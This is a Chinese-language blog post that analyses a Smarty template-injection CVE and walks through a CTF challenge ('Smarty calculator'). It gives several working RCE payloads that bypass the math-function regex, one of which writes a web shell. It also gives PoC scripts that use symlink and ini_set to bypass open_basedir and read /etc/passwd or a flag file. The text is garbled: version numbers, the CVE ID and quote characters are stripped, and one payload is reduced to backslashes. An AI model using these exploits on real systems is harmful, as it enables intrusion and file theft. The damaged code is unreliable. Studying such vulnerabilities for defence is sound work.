fetch()_smarty3中文手册

CVE-——Smarty模板注入

漏洞报告

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 和 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 或 以接收补丁。

源码分析

对比官方修复的代码,在/plugins/function.math.php添加了如下一段

// Remove whitespaces
    $equation = preg_replace(&#;/\s+/&#;, &#;&#;, $equation);

    // Adapted from https://www.php.net/manual/en/function.eval.php#
    $number = &#;(?:\d+(?:[,.]\d+)?|pi|π)&#;; // What is a number
    $functionsOrVars = &#;((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))&#;;
    $operators = &#;[+\/*\^%-]&#;; // Allowed math operators
    $regexp = &#;/^((&#;.$number.&#;|&#;.$functionsOrVars.&#;|(&#;.$functionsOrVars.&#;\s*\((?1)+\)|\((?1)+\)))(?:&#;.$operators.&#;(?2))?)+$/&#;;

    if (!preg_match($regexp, $equation)) {
        trigger_error(&#;math: illegal characters&#;, E_USER_WARNING);
        return;
    }

对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp

而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的

并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBackticksIllegal()
    {
        $expected = &#;&#;;
        $tpl = $this->smarty->createTemplate(&#;eval:{$x = &#;4&#;}{$y = &#;&#;}{math equation=&#;`ls` x * y&#; x=$x y=$y}&#;);
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testDollarSignsIllegal()
    {
        $expected = &#;&#;;
        $tpl = $this->smarty->createTemplate(&#;eval:{$x = &#;4&#;}{$y = &#;&#;}{math equation=&#;#; x=$x y=$y}&#;);
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBracketsIllegal()
    {
        $expected = &#;I&#;;
        $tpl = $this->smarty->createTemplate(&#;eval:{$x = &#;0&#;}{$y = &#;1&#;}{math equation=&#;((y/x).(x))[x]&#; x=$x y=$y}&#;);
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

漏洞利用实例——红明谷 | Smarty calculator

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

考点

  • Smarty3. 模板注入(CVE-)
  • Bypass open_basedir
  • Bypass disable_functions

过程详解

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。

一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是。

扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。

index.php

<!DOCTYPE html>
<html lang=&#;en&#;>
<head>
    <meta charset=&#;UTF-8&#;>
    <title>Smarty calculator</title>
</head>
<body background=&#;img/1.jpg&#;>
<div align=&#;center&#;>
    <h1>Smarty calculator</h1>
</div>
<div style=&#;width:%;text-align:center&#;>
    <form action=&#;&#; method=&#;POST&#;>
        <input type=&#;text&#; style=&#;width:150px;height:30px&#; name=&#;data&#; placeholder=&#;      输入值进行计算&#; value=&#;&#;>
        <br>
        <input type=&#;submit&#; value=&#;Submit&#;>
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once(&#;./Smarty/Smarty.class.php&#;);
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = &#;php|\<|flag|\?&#;;
  $vpattern = explode(&#;|&#;, $pattern);
  foreach ($vpattern as $value) {
        if (preg_match(&#;/$value/&#;, $data)) {
          echo(&#;<div style=&#;width:%;text-align:center&#;><h5>Calculator don  not like U<h5><br>&#;);
          die();
        }
    }
    return $data;
}

if(isset($_POST[&#;data&#;])){
  if(isset($_COOKIE[&#;login&#;])) {
      $data = waf($_POST[&#;data&#;]);
      echo &#;<div style=&#;width:%;text-align:center&#;><h5>Only smarty people can use calculators:<h5><br>&#;;
      $smarty->display(&#;string:&#; . $data);
  }else{
      echo &#;<script>alert(\&#;你还没有登录\&#;)</script>&#;;
  }
}

在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。

还会检测cookielogin是否存在且值不为零,只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。

用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。

在CVE-,有关Smarty的安全问题上,也有提到

  • 阻止$smarty.template_object在沙盒模式下访问
  • 修复了通过使用非法函数名的代码注入漏洞{function name=&#;blah&#;}{/function}
if (preg_match(&#;/[a-zA-Z0-9_\x80-\xff](.*)+$/&#;, $_name)) {
    $compiler->trigger_template_error(&#;Function name contains invalid characters: {$_name}&#;, null, true);
}

那么接下来,请欣赏各种优雅的过正则姿势

姿势一

在正则处打下断点进行测试,

发现可以通过换行绕过正则

设置完cookie后,url编码一下,POST传参,poc执行成功

但是不能直接cat /flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗? - 先知社区 (aliyun.com)

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir(&#;A&#;);//创建目录
chdir(&#;A&#;);//切换目录
mkdir(&#;B&#;);
chdir(&#;B&#;);
mkdir(&#;C&#;);
chdir(&#;C&#;);
mkdir(&#;D&#;);
chdir(&#;D&#;);
chdir(&#;..&#;);
chdir(&#;..&#;);
chdir(&#;..&#;);
chdir(&#;..&#;);
symlink(&#;A/B/C/D&#;,&#;aaa&#;);
symlink(&#;aaa/../../../../etc/passwd&#;,&#;abc&#;);
unlink(&#;aaa&#;);
mkdir(&#;aaa&#;);
?>

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir(&#;Andy&#;);  //创建目录
chdir(&#;Andy&#;);  //切换目录
ini_set(&#;open_basedir&#;,&#;..&#;);  //把open_basedir切换到上层目录
chdir(&#;..&#;);  //切换到根目录
chdir(&#;..&#;);
chdir(&#;..&#;);
ini_set(&#;open_basedir&#;,&#;/&#;);  //设置open_basedir为根目录
echo file_get_contents(&#;/etc/passwd&#;);  //读取/etc/passwd

姿势二

其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。

payload:

eval:{$x=&#;&#;}{math equation=&#;(\&#;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\&#;)(\&#;\\\\\\\\\\\&#;,\&#;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\&#;)&#;}

然后蚁剑连接,在根目录下得到flag

姿势三

既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)

<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once(&#;./Smarty/Smarty.class.php&#;);
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display(&#;string:&#; . &#;{math equation=&#;p;(\&#;exp\&#;[0].\&#;exp\&#;[1].\&#;exp\&#;[0].\&#;cos\&#;[0])(\&#;cos\&#;[0].\&#;abs\&#;[0].\&#;tan\&#;[0].\&#;floor\&#;[0].\&#;floor\&#;[1].\&#;abs\&#;[0].\&#;log\&#;[2]);&#; p=1 }&#;);
$smarty->display(&#;string:&#; . &#;{math equation=&#;p;(\&#;exp\&#;[0].\&#;exp\&#;[1].\&#;exp\&#;[0].\&#;cos\&#;[0])(\&#;cos\&#;[0].\&#;abs\&#;[0].\&#;tan\&#;[0].\&#; ./\&#;.\&#;floor\&#;[0].\&#;floor\&#;[1].\&#;abs\&#;[0].\&#;log\&#;[2].\&#;>1\&#;);&#; p=&#;1&#; }&#;);
//exec(&#;cat /flag&#;)>1
?>

将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。

原文链接:,转发请注明来源!